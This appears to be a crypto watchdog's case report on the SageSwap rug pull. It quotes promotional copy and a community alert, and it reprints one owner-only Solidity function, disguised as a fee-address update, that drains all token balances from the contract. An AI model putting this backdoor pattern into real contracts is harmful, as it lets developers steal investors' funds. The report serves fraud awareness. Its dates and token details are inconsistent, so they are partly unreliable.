QUADRIGA INITIATIVE
CRYPTO WATCHDOG & FRAUD RECOVERY PLATFORM
A COMMUNITY-BASED, NOT-FOR-PROFIT
$32 000 USD
MARCH 2021
GLOBAL
SAGESWAP
DESCRIPTION OF EVENTS
"3rd Generation Deflationary AMM and Yield Farming on Binance Smart Chain"
"What Is Sage Finance Token (SAFT)? Sage Finance is an open-source project launched on the Binance Smart chain and the token is Sage Finance Token (SAFT). Launched on April 1st, 2021 with smart contract 0xD4ED4a27ff7EaE121C487D841e530Cd0dA65c6b5. SageSwap (launching in May) is a Binance-based decentralized exchange protocol. The Binance smartchain does not need any external dependencies to run."
"Sageswap aims to be a user-friendly exchange with high gas performance, censorship resistance, and zero rent extraction. It is beneficial to traders and works especially well as a module of other smart contracts that need on-chain liquidity assurance. What Makes Sage Finance Unique? The Sage Finance token SAFT is a BEP20 token that originally launched on Binance Smart Chain. The main function of SAFT is to incentivize the liquidity provision to the SageSwap platform. Users can stake their tokens to earn rewards, which is done by depositing Liquidity Provider tokens and locking them up. This is known as farming and is rewarded by the system with SAFT tokens. The tokens can be un-staked with zero holding time."
"SAFT gives users the opportunity to invest and increase returns in the future but comes with risks. How Many Sage Finance (SAFT) Token Are There in Circulation? There is a maximum supply of 10 million SAFT — but at the time of writing, there was a circulating supply of about 8 milliom. 2 rounds of presale of SAFT tokens were held between April 4, 2021 and April 9, 2021 on DxSale. Approximately 2.5 million SAFT was used as Liquidity on PancakeSwap and locked by DxSale. Meanwhile, approximately 4.5 million SAFT was sold during the presale and additional 1 million was dispersed to airdroppers and for promotions. Last but not least, 350 thousand SAFT was charged by DxSale as platform used for conducting the presale.
"Overall, no amount of SAFT’s total supply was given to the project’s founders. They all participated in the presale with investors for a fair launch. How Is the Sage Finance Network Secured? SAFT can be securely stored on supported wallets that are connected to the Binance Smart Chain. These include MetaMask, TrustWallet, TokenPocket and WalletConnect. Where Can You Buy Sage Finance Token (SAFT)? As a new project on the Binance Smart Chain, SAFT can be bought from PancakeSwap PancakeSwap Instructions"
"In celebration of our launch, we will be giving away $50 in $SAGE to the first 5000 people that RETWEET, FOLLOW, and post their #BSC address below!"
"Has this code which we are unsure about – only briefly checked the rest which was otherwise fine. DYOR"
"Another community alert inbound on a project called SageSwap may indicate high risks. One line of suspicious code under a legit-named function hiding under Contract Ownable...Please DYOR with caution before interacting with any #DeFi projects."
"function updateFeeAddress(address _feeAddress) public onlyOwner { IBEP20(_feeAddress).transfer(_treasury, IBEP20(_feeAddress).balanceOf(address(this))); }"
"…and it rugged"
The site appears to have launched around March 20th, 2021 and failed to load after March 22nd, 2021. The last visible indication of Total Value Locked in the smart contract hot wallet was $32,451 USD. In the end, it appears that the developers had built a small function in the smart contract to allow them to steal any invested funds.
HOW COULD THIS HAVE BEEN PREVENTED?
Funds stored in smart contract hot wallets face many risks, especially when the wallet is controlled by an anonymous developer. For proper protection, uninsured funds should be stored in a multi-sig wallet with all keys stored offline and held by known and trained individuals. At least two seprate reviews of this setup should be conducted.
https://mobile.twitter.com/certikorg/status/1373469189583867904 (Jan 10)
Sageswap – RugDoc (Jan 12)
SageSwap (Jan 12)
SageSwap (Jan 12)
SageSwap (Jan 12)
https://web.archive.org/web/20210322053453/http://sageswap.finance/ (Jan 12)
SageSwap Token (SAGE) ERC20 Token Exchange volume | Binance Smart Chain Mainnet (Jan 12)
https://bscscan.com/token/0x9e0bc04dad42429523fd375b9a0a2384d1738fa0?a=0x25d329d69a2496e1ef44907d266183a62283430a (Jan 12)
https://bscscan.com/tx/0x7513926f0e7d3d5025248131cdd4826236eab9fd782af080192f7abc1df9fcc4 (Jan 12)
https://bscscan.com/address/0x418493Dd85754ACBFbe82E5e56e2455167F28173#code (Jan 12)
SageSwap - Newest 3rd generation DeFi Yield Farm on BSC ! : CryptoMoonShots (Jan 12)
SAGESWAP (@sageswap) | Foundation (Jan 12)
https://cryptobuyingtips.com/guides/how-to-buy-sage-finance-saft (Jan 12)
Sage Finance (SAFT) Price, Chart, Value & Market Cap | CoinCodex (Jan 12)
Is Sage Finance A Scam? (Jan 12)
Sage Finance (SAFT) price today, chart, market cap & news | CoinGecko (Jan 12)
SageSwap (@sageswap) | Twitter (Jan 12)
